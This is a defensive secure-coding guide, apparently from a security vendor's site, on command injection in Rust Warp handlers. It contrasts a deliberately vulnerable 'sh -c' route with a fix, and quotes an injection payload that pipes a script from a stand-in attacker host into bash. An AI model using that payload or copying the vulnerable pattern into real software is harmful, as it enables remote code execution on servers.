Fix Command Injection in Warp
Command injection in Warp applications occurs when untrusted input is concatenated into system commands and executed via a shell. In Rust, while the type system provides safety, using std::process::Command incorrectly—specifically invoking 'sh -c' or 'cmd.exe /c' with unsanitized route parameters—bypasses these protections and grants attackers arbitrary code execution (RCE).
The Vulnerable Pattern
use warp::Filter; use std::process::Command;fn main() { // VULNERABLE: Input from URL path is formatted directly into a shell string let route = warp::path!(“lookup” / String) .map(|domain: String| { let cmd = format!(“nslookup {}”, domain); let output = Command::new(“sh”) .arg(“-c”) .arg(cmd) .output() .expect(“failed to execute process”);
String::from_utf8_lossy(&output.stdout).to_string() }); warp::serve(route).run(([127, 0, 0, 1], 3030));
}
The Secure Implementation
The vulnerability lies in the use of 'sh -c', which interprets shell metacharacters like ';', '&', and '|'. An attacker could pass 'google.com; curl http://attacker.com/shell.sh | bash' to execute a reverse shell. The fix involves two layers: First, removing the shell execution context entirely by calling the binary directly with '.arg()', which treats the input as a literal string rather than a command. Second, implementing a strict regex whitelist to ensure the input conforms to expected patterns before it ever touches the system process API.
use warp::Filter; use std::process::Command; use regex::Regex;fn main() { let route = warp::path!(“lookup” / String) .map(|domain: String| { // 1. Strict Whitelisting: Only allow characters valid for hostnames let re = Regex::new(r”^[a-zA-Z0-9.-]+$“).unwrap(); if !re.is_match(&domain) { return “Invalid Input”.to_string(); }
// 2. Parameterization: Execute binary directly without a shell wrapper let output = Command::new("nslookup") .arg(domain) // Passed as a literal argument, not a shell string .output() .expect("failed to execute process"); String::from_utf8_lossy(&output.stdout).to_string() }); warp::serve(route).run(([127, 0, 0, 1], 3030));
}
Your Warp API
might be exposed to Command Injection
74% of Warp apps fail this check. Hackers use automated scanners to find this specific flaw. Check your codebase before they do.
Free Tier • No Credit Card • Instant Report
Verified by Ghost Labs Security Team
This content is continuously validated by our automated security engine and reviewed by our research team. Ghost Labs analyzes over 500+ vulnerability patterns across 40+ frameworks to provide up-to-date remediation strategies.